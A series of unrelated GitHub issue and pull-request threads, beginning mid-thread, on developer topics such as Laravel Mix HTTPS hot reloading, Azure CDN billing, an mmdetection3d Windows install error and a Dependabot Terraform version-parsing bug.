            key: fs.readFileSync(path.resolve(homeDir, `.config/valet/Certificates/${host}.key`)),
            cert: fs.readFileSync(path.resolve(homeDir, `.config/valet/Certificates/${host}.crt`)),
        }
    })

These docs helped my solve it:

https://laravel-mix.com/docs/4.0/quick-webpack-configuration
https://webpack.js.org/configuration/dev-server/#devserverhttps

A HUGE thank you to @BenjaminBrandtner for sharing how to make this work!!
I'm using Mix version 6 and it wouldn't work, however. According to the webpack docs, the devServer format is slightly different than in @BenjaminBrandtner's comment. It should be this:
mix
  .options({
    hmrOptions: {
      host: host,
      port: '8080',
    }
  })
  .webpackConfig({
    devServer: {
      https: {
        key: fs.readFileSync(path.resolve(homeDir, `.config/valet/Certificates/${host}.key`)),
        cert: fs.readFileSync(path.resolve(homeDir, `.config/valet/Certificates/${host}.crt`)),
        ca: fs.readFileSync(path.resolve(homeDir, `.config/valet/CA/LaravelValetCASelfSigned.pem`)),
      }
    }
  })

https is either true or an object with key, cert, and ca. Since we have to use the site-specific certificate, we have to use the object format.
The object format requires a ca value, so we point it to Valet's self-signed CA.

Oddly, to get this to work, you also need to remove --https from the command in package.json. It should be the default:
"hot": "mix watch --hot",

@squatto that laodes ok but update gets download from wrong URL ? (wrong port really)

Request URL: https://$host/_js_manifest.55434799535810f1351a.hot-update.json
Ta

@cerw That's odd 🤔 Is it not using the port from hmrOptions?

@cerw That's odd 🤔 Is it not using the port from hmrOptions?

Yes it uses first time you load it from the socket server but does not work when it pushes the upload?

This is still happening for me.. anyone else?

Webpack can now generate self-signed certificates, so you don't need to use your own.
mix.webpackConfig({
    devServer: {
      server: 'https',
    },
  });

The issue I now have is I can't get the hot reloaded modules to be loaded with https, it's always using http://localhost:8080 to load the chunks. Even though the mix() helper uses the https:// protocol for the initial bundle load. If anyone has any pointers with this that would be greatly appreciated.
My hot file is:
http://localhost:8080.


Dynamic size of youtube video

Is your feature request related to a problem? Please describe.
Currently the youtube video have a fixed width of 600px, which is too big for phone.
Describe the solution you'd like
Not familiar with html, but I assume width: "80%", maxWidth: "600px" would work.

@luckyrandom Hi, you can fix it by adding custom style at file quartz/styles/custom.scss
@use "./base.scss";

.external-embed {
  aspect-ratio: 16 / 9;
  height: 100%;
  width: 100%;
}


bug: Update README to match resource defaults

With 04a4295c9bc79999a453aa3852f9486c56fb8b35, we updated the
defaults for CPU and Memory requests/limits. However, we failed
to update the README. Fixup the README.
Fixes #43
How did you test this change?
Documentation only, no testing required.

Feel free to merge and release, @cirego! Thank you for this update. 💯


I do not understand the composition of CDN cost

From the CDN pricing page I know that CDN is charged by OUTBOUND DATA TRANSFERS in GB, but I cannot find the definition of this term.
I am new to web applications. I am confused because when the first time I read this pricing document, it make me feel like CDN is only charging bandwidth cost between my origin (Blob storage) and CDN pops. Because the price per GB is very close to the price of bandwidth price of blob storage Internet egress. So, I think if a content is already cached in a pop server, no matter how many times users download it from that pop server's cache, no additional fee is charged. Although I have some doubts about this thought, but since I know there are some free CDNs exists, and CDNs can help ISPs reduce the need of bandwidth between other ISPs. I think this is reasonable. Then I want to double check it with CDN documents, while I cannot find anything can help.
The section that is most likely describing my case is this section. It says:

If you are using Azure Blob storage as the origin for your content, you also incur the following storage charges for cache fills:

Actual GB used: The actual storage of your source objects.

Transactions: As needed to fill the cache.

Transfers in GB: The amount of data transferred to fill the CDN caches.

Two-thirds of them is talking about filling the pop server's cache. And I cannot infer what are the definitions of Transaction and Transfer here. Please help make this clear and tell me whether the bandwidth between an end user and a pop server is charged if all contents are cached.
Thank you.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d788b5e3-57d1-18b0-fbbb-9afe180e2382
Version Independent ID: b099309b-998c-f2d8-afb9-8d6f71e1c7cd
Content: Understanding Azure CDN billing
Content Source: articles/cdn/cdn-billing.md
Service: azure-cdn
GitHub Login: @asudbring
Microsoft Alias: allensu

Thanks for the feedback! I have assigned the issue to the content author to investigate this and update the document as appropriate

#reassign: jessie-jyy

Thank you for you dedication to our documentation.
Unfortunately, we have been unable to review this issue in a timely manner. We sincerely apologize for the delayed response. We are closing this issue. If you feel that the problem persists, please respond to this issue with additional information.
Please continue to provide feedback about the documentation. We appreciate your contributions to our community.
#please-close


Update the tutorial for "Building a container from scratch in Go - Liz Rice (Microscaling Systems)"

Description
The instructor in the above mentioned video has created a new version of the same tutorial, which can be found here
Why
It is always good to keep resources and tutorials up-to-date. The new video talks about namespaces, chroot and cgroups, and speaks about containers at a greater depth.
Is this something you're interested in working on?
Yes.

I would like to make this change if no one is working on it .

Fixed


Minor fix + Combined notification settings and friend lists

Turned each key of the object into another object, with one key containing the friend list and the other containing the user's notification setting.
Also fixed line 100 by using >= instead of >, as the sign was inconsistent with the returned error statement

We would need to create an eval to merge the two objects first.

Easy
/eval var file = JSON.parse(fs.readFileSync('config/friends.json'); for (var i in file) { var list = file[i]; file[i] = {}; file[i].notify = false; file[i].list = list; } fs.writeFileSync('config/friends.json', JSON.stringify(file));

We're going to worry about this later if the need arises I think.


return -1 if target is not in array

Really just a personal preference. Feel free to reject if you want to keep it as is.

That's a good idea since we're searching for a target number. Could you help to change the Python one as well? (:

yes, that last commit will do it

Take a look at my comment. The while loop won't be called if left === right, so that check would never happen

Changed it based on your feedback. My latest commit is the more elegant solution

This is great. Thanks Austin (:


OSError: symbolic link privilege not held

  mmcv                    1.3.16
  mmdet                   2.17.0
  mmsegmentation          0.19.0
  Python 3.7.11
  win11

When will windows  be supported
什么时候支持win版本

cd mmdetection3d
pip install -v -e .

Requirement already satisfied: argon2-cffi in e:\anaconda3\envs\openmmlab\lib\site-packages (from notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (21.1.0)
Requirement already satisfied: Send2Trash>=1.8.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (1.8.0)
Requirement already satisfied: terminado>=0.8.3 in e:\anaconda3\envs\openmmlab\lib\site-packages (from notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.12.1)
Requirement already satisfied: prometheus-client in e:\anaconda3\envs\openmmlab\lib\site-packages (from notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.12.0)
Requirement already satisfied: jinja2 in e:\anaconda3\envs\openmmlab\lib\site-packages (from notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (3.0.3)
Requirement already satisfied: pywinpty>=1.1.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from terminado>=0.8.3->notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (1.1.6)
Requirement already satisfied: cffi>=1.0.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from argon2-cffi->notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (1.15.0)
Requirement already satisfied: pycparser in e:\anaconda3\envs\openmmlab\lib\site-packages (from cffi>=1.0.0->argon2-cffi->notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (2.21)
Requirement already satisfied: MarkupSafe>=2.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from jinja2->notebook->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (2.0.1)
Requirement already satisfied: pandocfilters>=1.4.1 in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (1.5.0)
Requirement already satisfied: nbclient<0.6.0,>=0.5.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.5.9)
Requirement already satisfied: jupyterlab-pygments in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.1.2)
Requirement already satisfied: bleach in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (4.1.0)
Requirement already satisfied: defusedxml in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.7.1)
Requirement already satisfied: testpath in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.5.0)
Requirement already satisfied: mistune<2,>=0.8.1 in e:\anaconda3\envs\openmmlab\lib\site-packages (from nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.8.4)
Requirement already satisfied: webencodings in e:\anaconda3\envs\openmmlab\lib\site-packages (from bleach->nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (0.5.1)
Requirement already satisfied: packaging in e:\anaconda3\envs\openmmlab\lib\site-packages (from bleach->nbconvert->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (21.0)
Requirement already satisfied: pytz>=2017.3 in e:\anaconda3\envs\openmmlab\lib\site-packages (from pandas->lyft_dataset_sdk->mmdet3d==0.17.2) (2021.3)
Requirement already satisfied: tenacity>=6.2.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from plotly->lyft_dataset_sdk->mmdet3d==0.17.2) (8.0.1)
Requirement already satisfied: py>=1.8.2 in e:\anaconda3\envs\openmmlab\lib\site-packages (from pytest->lyft_dataset_sdk->mmdet3d==0.17.2) (1.11.0)
Requirement already satisfied: toml in e:\anaconda3\envs\openmmlab\lib\site-packages (from pytest->lyft_dataset_sdk->mmdet3d==0.17.2) (0.10.2)
Requirement already satisfied: iniconfig in e:\anaconda3\envs\openmmlab\lib\site-packages (from pytest->lyft_dataset_sdk->mmdet3d==0.17.2) (1.1.1)
Requirement already satisfied: pluggy<2.0,>=0.12 in e:\anaconda3\envs\openmmlab\lib\site-packages (from pytest->lyft_dataset_sdk->mmdet3d==0.17.2) (1.0.0)
Requirement already satisfied: atomicwrites>=1.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from pytest->lyft_dataset_sdk->mmdet3d==0.17.2) (1.4.0)
Requirement already satisfied: qtpy in e:\anaconda3\envs\openmmlab\lib\site-packages (from qtconsole->jupyter->nuscenes-devkit->mmdet3d==0.17.2) (1.11.2)
Requirement already satisfied: PyWavelets>=1.1.1 in e:\anaconda3\envs\openmmlab\lib\site-packages (from scikit-image->mmdet3d==0.17.2) (1.1.1)
Requirement already satisfied: imageio>=2.3.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from scikit-image->mmdet3d==0.17.2) (2.9.0)
Requirement already satisfied: tifffile>=2019.7.26 in e:\anaconda3\envs\openmmlab\lib\site-packages (from scikit-image->mmdet3d==0.17.2) (2021.10.12)
Requirement already satisfied: absl-py>=0.4 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (1.0.0)
Requirement already satisfied: protobuf>=3.6.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (3.19.1)
Requirement already satisfied: werkzeug>=0.11.15 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (2.0.2)
Requirement already satisfied: google-auth-oauthlib<0.5,>=0.4.1 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (0.4.6)
Requirement already satisfied: tensorboard-plugin-wit>=1.6.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (1.8.0)
Requirement already satisfied: google-auth<3,>=1.6.3 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (2.3.3)
Requirement already satisfied: requests<3,>=2.21.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (2.26.0)
Requirement already satisfied: wheel>=0.26 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (0.37.0)
Requirement already satisfied: grpcio>=1.24.3 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (1.42.0)
Requirement already satisfied: tensorboard-data-server<0.7.0,>=0.6.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (0.6.1)
Requirement already satisfied: markdown>=2.6.8 in e:\anaconda3\envs\openmmlab\lib\site-packages (from tensorboard->mmdet3d==0.17.2) (3.3.4)
Requirement already satisfied: rsa<5,>=3.1.4 in e:\anaconda3\envs\openmmlab\lib\site-packages (from google-auth<3,>=1.6.3->tensorboard->mmdet3d==0.17.2) (4.7.2)
Requirement already satisfied: pyasn1-modules>=0.2.1 in e:\anaconda3\envs\openmmlab\lib\site-packages (from google-auth<3,>=1.6.3->tensorboard->mmdet3d==0.17.2) (0.2.8)
Requirement already satisfied: requests-oauthlib>=0.7.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from google-auth-oauthlib<0.5,>=0.4.1->tensorboard->mmdet3d==0.17.2) (1.3.0)
Requirement already satisfied: pyasn1<0.5.0,>=0.4.6 in e:\anaconda3\envs\openmmlab\lib\site-packages (from pyasn1-modules>=0.2.1->google-auth<3,>=1.6.3->tensorboard->mmdet3d==0.17.2) (0.4.8)
Requirement already satisfied: certifi>=2017.4.17 in e:\anaconda3\envs\openmmlab\lib\site-packages (from requests<3,>=2.21.0->tensorboard->mmdet3d==0.17.2) (2021.10.8)
Requirement already satisfied: idna<4,>=2.5 in e:\anaconda3\envs\openmmlab\lib\site-packages (from requests<3,>=2.21.0->tensorboard->mmdet3d==0.17.2) (3.3)
Requirement already satisfied: charset-normalizer~=2.0.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from requests<3,>=2.21.0->tensorboard->mmdet3d==0.17.2) (2.0.7)
Requirement already satisfied: urllib3<1.27,>=1.21.1 in e:\anaconda3\envs\openmmlab\lib\site-packages (from requests<3,>=2.21.0->tensorboard->mmdet3d==0.17.2) (1.26.7)
Requirement already satisfied: oauthlib>=3.0.0 in e:\anaconda3\envs\openmmlab\lib\site-packages (from requests-oauthlib>=0.7.0->google-auth-oauthlib<0.5,>=0.4.1->tensorboard->mmdet3d==0.17.2) (3.1.1)
Installing collected packages: mmdet3d
  Running setup.py develop for mmdet3d
    Running command 'E:\anaconda3\envs\openmmlab\python.exe' -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'F:\\mmdetection3d\\setup.py'"'"'; __file__='"'"'F:\\mmdetection3d\\setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "F:\mmdetection3d\setup.py", line 191, in <module>
        add_mim_extention()
      File "F:\mmdetection3d\setup.py", line 178, in add_mim_extention
        os.symlink(src_relpath, tar_path)
    OSError: symbolic link privilege not held
ERROR: Command errored out with exit status 1: 'E:\anaconda3\envs\openmmlab\python.exe' -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'F:\\mmdetection3d\\setup.py'"'"'; __file__='"'"'F:\\mmdetection3d\\setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps Check the logs for full command output.

pip install -r  requirements.txt
ERROR: Could not find a version that satisfies the requirement waymo-open-dataset-tf-2-3-0 (from versions: none)
ERROR: No matching distribution found for waymo-open-dataset-tf-2-3-0

@monkeycc I'm sorry but some packages used in mmdetection3d only support linux or mac. For example, waymo-open-dataset only pre-compiled the package for Python 3.7, 3.8, 3.9 for Linux. The support for Windows is now not in our short-term plan,

windows上普通用户没有symlink权限，用管理员权限开命令行再执行 pip install 应该就可以了


[Bug] When the application is in the running state, it is not a gesture when the mouse moves to the application name

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
When the application is in the running state, it is not a gesture when the mouse moves to the application name.
StreamPark Version
2.0.0
Java Version
jdk8
Flink Version
flink1.14
Scala Version of Flink
2.12
Error Exception
When the application is in the running state, it is not a gesture when the mouse moves to the application name

Screenshots
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Hi @macksonmu , This problem seems to have been solved before, if you have time to retest whether there are still problems,Thank you！！！


Terraform provider versions are sometimes parsed as empty string ""

Is there an existing issue for this?

[X] I have searched the existing issues

Package ecosystem
terraform
Package manager version
No response
Language version
1.0.7
Manifest location and content before the Dependabot update
In terraform/module/main.tf:
## Source this module

terraform {
  required_version = "~> 1.0"

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 3.63"
    }

    docker = {
      source  = "kreuzwerker/docker"
      version = "~> 2.15"
    }
  }
}

dependabot.yml content
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates

version: 2
updates:
  - package-ecosystem: "terraform"
    directory: "/terraform/module"
    schedule:
      interval: "daily"

Updated dependency
No response
What you expected to see, versus what you actually saw
When Dependabot goes through the Terraform provider, it sometimes has trouble parsing out the version of the dependency. For example:
updater | INFO <job_433> Checking if hashicorp/aws  needs updating
                                                   ^
updater | INFO <job_433> Updating hashicorp/aws from  to 4.31.0
                                                     ^

There should be the version number where the ^ are, but it is actually an empty string "".
When asked to ignore: { dependency-name: "hashicorp/aws" }, Dependabot is unable to do so because it’s trying to compare an empty version string with >= 0.
Note that the pull request that Dependabot generates has the correct subject, so Dependabot does know how to get the old version number:

Update hashicorp/aws requirement from ~> 3.63 to ~> 4.31 in /terraform/module
diff --git a/terraform/module/main.tf b/terraform/module/main.tf
index b375127..b2e44f7 100644
--- a/terraform/module/main.tf
+++ b/terraform/module/main.tf
@@ -6,7 +6,7 @@ terraform {
   required_providers {
     aws = {
       source  = "hashicorp/aws"
-      version = "~> 3.63"
+      version = "~> 4.31"
     }

     docker = {

Native package manager behavior
No response
Images of the diff or a link to the PR, issue, or logs
Running update job 433
Created update_files container: 36b1f12dcdc7100fac92a0b53b2fd8205e139e66468eb43ccee60c00d16f305d
updater | Updating certificates in /etc/ssl/certs...
updater | 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
updater | done.
updater | Top level ::CompositeIO is deprecated, require 'multipart/post' and use `Multipart::Post::CompositeReadIO` instead!
updater | Top level ::Parts is deprecated, require 'multipart/post' and use `Multipart::Post::Parts` instead!
updater | I, [2022-09-21T17:24:28.824583 #5[53](https://github.internal/org/repo/runs/3246?check_suite_focus=true#step:7:55)]  INFO -- sentry: ** [Raven] Raven 3.1.2 configured not to capture errors: DSN not set
updater | warning: parser/current is loading parser/ruby27, which recognizes2.7.6-compliant syntax, but you are running 2.7.5.
Please see https://github.com/whitequark/parser#compatibility-with-ruby-mri.
updater | INFO <job_433> Starting job processing
updater | INFO <job_433> Starting PR update job for org/repo
  proxy | 2022/09/21 17:24:50 [015] POST [https://github.internal:443/_dependabot/update_jobs/433/update_dependency_list](https://github.internal/_dependabot/update_jobs/433/update_dependency_list)
  proxy | 2022/09/21 17:24:50 [015] 204 [https://github.internal:443/_dependabot/update_jobs/433/update_dependency_list](https://github.internal/_dependabot/update_jobs/433/update_dependency_list)
updater | INFO <job_433> Checking if hashicorp/aws  needs updating
  proxy | 2022/09/21 17:24:50 [017] GET [https://registry.terraform.io:443/.well-known/terraform.json](https://registry.terraform.io/.well-known/terraform.json)
  proxy | 2022/09/21 17:24:50 [017] 200 [https://registry.terraform.io:443/.well-known/terraform.json](https://registry.terraform.io/.well-known/terraform.json)
  proxy | 2022/09/21 17:24:50 [019] GET [https://registry.terraform.io:443/v1/providers/hashicorp/aws/versions](https://registry.terraform.io/v1/providers/hashicorp/aws/versions)
  proxy | 2022/09/21 17:24:50 [019] 200 [https://registry.terraform.io:443/v1/providers/hashicorp/aws/versions](https://registry.terraform.io/v1/providers/hashicorp/aws/versions)
updater | INFO <job_433> Latest version is 4.31.0
updater | INFO <job_433> Requirements to unlock own
INFO <job_433> Requirements update strategy
updater | INFO <job_433> Updating hashicorp/aws from  to 4.31.0
updater | INFO <job_433> Submitting hashicorp/aws pull request for update
  proxy | 2022/09/21 17:25:10 [021] POST [https://github.internal:443/_dependabot/update_jobs/433/update_pull_request](https://github.internal/_dependabot/update_jobs/433/update_pull_request)
  proxy | 2022/09/21 17:25:10 [021] 204 [https://github.internal:443/_dependabot/update_jobs/433/update_pull_request](https://github.internal/_dependabot/update_jobs/433/update_pull_request)
  proxy | 2022/09/21 17:25:30 [023] PATCH [https://github.internal:443/_dependabot/update_jobs/433/mark_as_processed](https://github.internal/_dependabot/update_jobs/433/mark_as_processed)
  proxy | 2022/09/21 17:25:30 [023] 204 [https://github.internal:443/_dependabot/update_jobs/433/mark_as_processed](https://github.internal/_dependabot/update_jobs/433/mark_as_processed)
updater | INFO <job_433> Finished job processing
updater | INFO Results:
+---------+-----------------------------------+
|     Changes to Dependabot Pull Requests     |
+---------+-----------------------------------+
| updated | hashicorp/aws ( from  to 4.31.0 ) |
+---------+-----------------------------------+

Smallest manifest that reproduces the issue
No response

To elaborate on the problem with ignored versions, assume that we add an ignore for all versions of kreuzwerker/docker to our dependabot.yml:
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates

version: 2
updates:
  - package-ecosystem: "terraform"
    directory: "/terraform/module"
    schedule:
      interval: "daily"
    ignore:
      - dependency-name: "kreuzwerker/docker"

Now, when Dependabot tries to compute whether to ignore this particular version, it fails the version check:
updater | INFO <job_439> Checking if kreuzwerker/docker  needs updating
INFO <job_439> Ignored versions:
INFO <job_439>   >= 0 - from .github/dependabot.yml

Note the double space caused by "" as the version string.

Thanks, this is an excellent bug report.
It may be a while til someone can look at it, so if this is a blocker that you want fixed right away you're always welcome to use the dry-run script from within docker and then add some basic puts statements should help you track down exactly which line the bug is on... from there it should be straightforward to open a PR, but if you have questions feel free to ask.
And no problem if you're not interested in tracking it down further, just be aware that unfortunately it may be a while til we get to it.

Hello, currently running also into this issue.
Is there any additional workaround except to exclude the dependencies from the dependabot.yml?

Ok I think I know why this is happening in our case.
It is the same issue that was causing https://github.com/dependabot/dependabot-core/pull/6537, if the version preceeds the source. Seems like I missed something.
The following commit fixed the Dependabot scanning in our case:


Storyboard() use in MaterialApp as widget, does not pick up theme

When using Storyboard() in a MaterialApp as a widget, like in example "complete_custom_lanes_builder.dart", it does not pick up the theme of the MaterialApp it is used in.
Tested in version: 0.1.2+1

Fixed on version 0.1.3

Tested and this work OK. Great fix actually critical since this was needed to make StoryBoard work properly as an in-material-app feature and not only as an app wrapper.. Thanks!


Adding to do list for the project

Adding to-do list for the project.

It's Already Their. Try to improve that project


Offer super minimalist version of player through builder

During the PRX player webinar on 7/24, there was some desire among Radiotopians for a super minimalist and clean version of the player -- a slim one-liner. Hrishikesh wrote:
"Here’s the player that I use on The West Wing Weekly –

http://thewestwingweekly.com/
As you can see, super super minimal. For Song Exploder, I’d love the player to look something like that, too. No artwork needed, no logos. Just the title, a play button and a download button. And I could style the font, too."
^ also offered to send mockups of the minimalist style he'd like to see as option.

Hey guys,
A consideration, slimline minimal players like this don't provide much visual real estate to encourage web visitors to become ongoing, recurring listeners. The behavior we typically see is people will start listening, sampling the first few seconds and minutes to get a sense of what the podcast/episode is about, but then that person doesn't have time to listen to an entire episode. Most people aren't listening to entire episodes on the web. I get the desire to go super minimal, but reducing the space available could hamper our ability to help convert a podcasters web traffic into a ongoing listener.
An in-embed call to action showing a sampler how they can listen later when they have more time is an important tool podcasters to grow audience. My feeling is the key purpose of the web embed player should be to convert a web visitor into a recurring listener and help podcasters grow their audience. While people should have the ability to listen to an entire episode, doing so shouldn't get in the way of converting visitors to listeners.
We're taking time now to explore updates to the player design, using the behavior data we've collected to try and improve the visitor to subscriber conversion rates, helping podcasters gain even more recurring listeners.


fix Divider not visible in Light theme

tips for improvement : maybe can use extendTheme method globally to avoid using "isLightMode" props repeatedly

Sure @dodyagung , could you implement extendTheme and replace it with isLightMode?
I will merge this PR, then you may create another PR for extendTheme.
Many thanks


[suggestion] Atomic 32 bits write support

There are some cases, when it's useful to store 32bit data. For example, float. Since memory size is not a problem, this could be default interface, even if smaller size it enougth. But integrity check is required, to verify that write was not interrupted in the middle.
Log record format could be like this:
[  1bit commit flag, 15bit tag  ] [ 16bit lo ] [ 16bit hi ]

Write sequence is:

Write lo/hi
Write (tag | 0x1000) <- without commit flag
Write (tag & 0x3FFF) <- overwrite the same address with the same data AND commit flag

On scan - check commit flag first to make sure record is valid.
What do you think?

Agree, it could be extended this way. I don't think you really need a commit flag -- you can do the same trick I do now: write data first, then write tag. When looking for empty space, check that all three parts are in the erased state (all bits set).

write data first, then write tag

This suppose single write to be safe. But power can be lost in the middle of tag write operation, and you can not guarantee that all bits was set to proper value. Having commit flag will give you such guarantee with zero memory cost (tag length is much longe than required in real world).
In theory, it's possible to implement tuneable record size. For example, to store doubles. But i don't thing it's useful. IMHO, from application point of view, 32bits is the best size, that cover 99.9% of needs.


Nullpointer exception on story/create

Request:
{
"title": "test",
"content": "test",
"tags" : ["tag1", "tag2"]
}
Response
{
"timestamp":<PHONE_NUMBER>523,
"status": 500,
"error": "Internal Server Error",
"exception": "java.lang.NullPointerException",
"message": "No message available",
"path": "/story/create"
}

fixed via https://github.com/bounswe/bounswe2015group7/commit/77bc86709d93f930cae3b39fae893a8188043788 also i added test so now we are sure. :)


Audio Autoplaying and Crash on Rewind Issues

Someone is having a problem with the audio files at the following link not auto-playing: gemini://kwiecien.us/gemcast/index.gmi
Additionally, when they click the rewind "|<<" button, lagrange will sometimes crash.
They are on voidlinux (with glibc)

Well the first step is to reproduce the crash somewhere and get a stack trace. I haven’t seen any Vorbis or SDL audio related issues on my systems…

Yeah, I myself haven't been able to reproduce it, actually. But I know of one person who has. It might be possible they don't have a necessary dependency installed, I'm not sure.

Closed due to not being able to reproduce.


Please help me with mods number

There's a mods query that requires number, I don't really know what it means, I thought mods are like DT HD EZ,... like that, what number should i use if i want to check beatmap pp with DT and HD or many more mods?

https://github.com/ppy/osu-api/wiki#mods
You can refer to here, if there are multiple mods, you need to perform a bitwise AND operation on the numbers (HDDT=8 & 64)

Jesus, thanks bro, you're sooo good at reading documents, i've try to read osu document like in few days but still bad af, thanks again <3


tabTitle to be preserved after connecting to SSH

As per title, I have some of the profiles configured to facilitate SSH connections, however after inputting password the TabTitle changes to the user@host. Is it possible to preserve tabTitle after connecting?

Sure is! Check out the docs:

Suppress title changes from the shell
When this is set to true, tabTitle overrides the default title of the tab and any title change messages from the application will be suppressed. If tabTitle isn't set, name will be used instead. When this is set to false, tabTitle behaves as normal.
Property name: suppressApplicationTitle
Necessity: Optional
Accepts: true, false


Fixed: remove setting up of logs in arbitrary places

Codecov Report

Merging #214 into master will increase coverage by 0.05%.
The diff coverage is 0%.

@@            Coverage Diff             @@
##           master     #214      +/-   ##
==========================================
+ Coverage   49.02%   49.08%   +0.05%
==========================================
  Files          33       33
  Lines        4318     4313       -5
==========================================
  Hits         2117     2117
+ Misses       2001     1996       -5
  Partials      200      200

Impacted Files
Coverage Δ

cmd/remoteenforcer/remoteenforcer_linux.go
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b072351...562827d. Read the comment docs.


Fix the problem of kfunc loading failure in 5.10 kernel which doesn't support module btf

The first patch add function has_module_btf to check if the kernel supports module btf.
The second patch fix the problem of kfunc loading failure in 5.10 kernel which doesn't support module btf. And this patch does two things:

Modified the load_kernel_btfs function: when the kernel does not support the module btf feature,
it is not necessary to read the module btf.

The get_btf_id_fd function is modified: when the number of btfojb is 0, it is not necessary to
obtain its fd through bpf_btf_get_fd_by_id. This avoids assigning wrong values to attach_btf_obj_fd.
When the value of attach_btf_obj_fd is 0, the kernel will find the corresponding kernel symbol
from the vmlinux btf according to the btf id.

Best regards and thank you in advance.
Checklist

[] Language changes are updated in man/adoc/bpftrace.adoc and if needed in docs/reference_guide.md
[] User-visible and non-trivial changes updated in CHANGELOG.md
[] The new behaviour is covered by tests

Also please apply clang-format to the final version.


Hides required toggle in case dependent tags is enabled

Details

Dependent tags can't be set as required, this PR hides the Required toggle in case there are dependent tags.
cc: @hayata-suenaga if you could review it
Fixed Issues

$ https://github.com/Expensify/App/issues/43758
PROPOSAL:
Tests

Enabled dependent tags in OldDot by importing a CSV and unchecking the Are these independent tags? checkbox

In NewDot go to Worksace > Tags > Settings and check that Members must tag all expenses

Now select a tag and verify that no required toggle is shown

Go back to OldDot, import a CSV and keep Are these independent tags? checked

In NewDot select a tag and verify that the required toggle is visible and you can toggle it

[x] Verify that no errors appear in the JS console

Offline tests

QA Steps

Same as testing steps.

[ ] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

